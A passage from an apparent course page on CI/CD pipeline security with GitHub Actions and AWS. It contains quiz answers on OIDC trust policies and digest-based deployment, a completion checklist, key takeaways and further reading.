Answer: B. The wildcard matches every repository in the organisation (and every context in them), so a compromised or newly created repository can assume the role. Use exact StringEquals on the specific repository and environment (or branch) subject. A is wrong because the audience is the same for every GitHub workflow. C and D are not how wildcards behave.
Which setup best ensures that the image deployed to production is the one built and tested by the pipeline?
A. Deploy by the latest tag.
B. Deploy by image digest from the build job's output, with immutable tags in ECR and a provenance attestation verified before deploy.
C. Rebuild the image in the production job.
D. Ask the approver to confirm the tag name.
Answer: B. A digest is immutable and content-addressed; immutable tags and attestation add traceability. A tag can move, C produces different bytes, D relies on a human reading a movable label.
Completion checklist
- I can list the pipeline attack surfaces and one control for each
- I fixed the bad workflow until
WorkflowAuditreported no errors - I can explain script injection and the
env:fix - I know what an attestation proves and what it does not
- I removed any IaC I applied and confirmed nothing is still billing
Key takeaways
- The pipeline is a privileged, attackable system: secure its triggers, expressions, dependencies, tokens, roles and artefacts.
- Untrusted data goes through
env:; untrusted code never runs with secrets or a cloud role. - Pin to full commit SHAs and update through reviewed pull requests.
- Narrow trust policies (exact
sub), narrow permissions, and a boundary cap the damage a compromised job can do. - Provenance and SBOMs give you fast, factual answers during an incident; they do not replace review.
Further reading
- Security hardening for GitHub Actions (GitHub Docs)
- Configuring OpenID Connect in Amazon Web Services (GitHub Docs)
- Artifact attestations (GitHub Docs)
- zizmor — static analysis for GitHub Actions
- Permissions boundaries for IAM entities (AWS)
- SLSA framework
- Next: Infrastructure automation in the pipeline
Independent learning resource — not affiliated with, endorsed or sponsored by Amazon Web Services. AWS and related marks are trademarks of Amazon.com, Inc. or its affiliates. All banking data in examples is fictional. Sample architectures are for learning and are not automatically compliant with GDPR, PCI DSS or any banking regulation.
Secrets in CI/CD: keep them out of pipelines, logs and images
Classify every secret a delivery pipeline touches, remove the ones OIDC makes unnecessary, keep runtime secrets out of the pipeline entirely, and handle the rest with GitHub environment secrets, AWS Secrets Manager, CodeBuild and BuildKit secret mounts so they never appear in logs or image layers.
Infrastructure automation in the pipeline: CDK and Terraform with approval gates
Run CDK and Terraform from GitHub Actions the way a bank needs: plan on every pull request with a read-only role, apply only from main after a protected-environment approval, apply exactly the plan that was reviewed, and detect drift.